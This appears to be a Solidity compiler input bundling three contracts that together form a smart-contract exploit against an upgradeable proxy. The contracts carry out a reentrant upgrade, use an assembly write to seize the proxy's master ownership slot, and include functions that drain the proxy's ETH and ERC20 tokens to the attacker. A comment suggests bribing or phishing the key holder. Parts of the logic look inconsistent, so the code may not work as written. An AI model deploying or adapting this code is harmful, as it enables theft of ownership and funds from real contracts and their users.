ProxyExploitOrchestrator

{{
  "language": "Solidity",
  "sources": {
    "MalC_EVM.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "MalA.sol";
import "MalB.sol";

contract ProxyExploitOrchestrator {
    MaliciousReentrantUpgrader public trojan;
    UltimateMaliciousPayload public payload;
    IProxy public proxy;

    constructor(address _proxy) {
        proxy = IProxy(_proxy);
        trojan = new MaliciousReentrantUpgrader();
        payload = new UltimateMaliciousPayload();
    }

    function launchExploit() external {
        // Prepare malicious payload: call stealOwnership() on payload
        bytes memory data = abi.encodeWithSignature("stealOwnership()");

        // Configure the trojan
        trojan.initialize(address(payload), data);

        // Trigger initial upgrade to trojan contract
        // This must be called by someone with master access
        // In a real exploit, attacker may bribe, phish, or compromise master
        proxy.upgradeTarget(address(trojan), "");
    }
}"
    },
    "MalB.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

// Standard ERC20 interface
interface IERC20 {
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

contract UltimateMaliciousPayload {
    // Address of the attacker (set in constructor for access control)
    address public immutable attacker;

    constructor() {
        attacker = msg.sender; // Set deployer as attacker
    }

    // Restrict functions to attacker
    modifier onlyAttacker() {
        require(msg.sender == attacker, "Not attacker");
        _;
    }

    // Steal ownership by modifying proxy storage directly
    function stealOwnership() external onlyAttacker {
        bytes32 masterPosition = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
        assembly {
            sstore(masterPosition, caller()) // caller() is msg.sender from original txn
        }
    }

    // Drain any ETH the proxy might hold
    function drain() external onlyAttacker {
        (bool success, ) = attacker.call{value: address(this).balance}("");
        require(success, "ETH drain failed");
    }

    // Drain ERC20 tokens from the proxy
    function drainToken(address token, address to) external onlyAttacker {
        // Validate inputs
        require(token != address(0) && token.code.length > 0, "Invalid token address");
        require(to != address(0), "Invalid recipient");

        // Get the token balance of the proxy (runs in proxy's context via delegatecall)
        uint256 balance = IERC20(token).balanceOf(address(this));
        require(balance > 0, "No tokens to drain");

        // Perform the transfer
        (bool success, bytes memory data) = token.call(
            abi.encodeWithSignature("transfer(address,uint256)", to, balance)
        );
        // Check success and handle tokens with/without return values
        require(success && (data.length == 0 || abi.decode(data, (bool))), "Token transfer failed");
    }
}"
    },
    "MalA.sol": {
      "content": "// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

interface IProxy {
    function upgradeTarget(address newTarget, bytes calldata newTargetUpgradeParameters) external;
}

contract MaliciousReentrantUpgrader {
    address public nextTarget;        // Final malicious contract
    bytes public finalCallData;       // Payload to execute on final contract

    // Called by attacker to configure the exploit
    function initialize(address _nextTarget, bytes calldata _finalCallData) external {
        nextTarget = _nextTarget;
        finalCallData = _finalCallData;
    }

    // This function is called via delegatecall after upgradeTarget sets target = this
    function upgrade(bytes calldata) external {
        require(nextTarget != address(0), "Not initialized");
        // Re-enter the proxy’s upgrade function
        IProxy(msg.sender).upgradeTarget(nextTarget, finalCallData);
    }
}"
    }
  },
  "settings": {
    "optimizer": {
      "enabled": false,
      "runs": 200
    },
    "outputSelection": {
      "*": {
        "*": [
          "evm.bytecode",
          "evm.deployedBytecode",
          "devdoc",
          "userdoc",
          "metadata",
          "abi"
        ]
      }
    },
    "remappings": []
  }
}}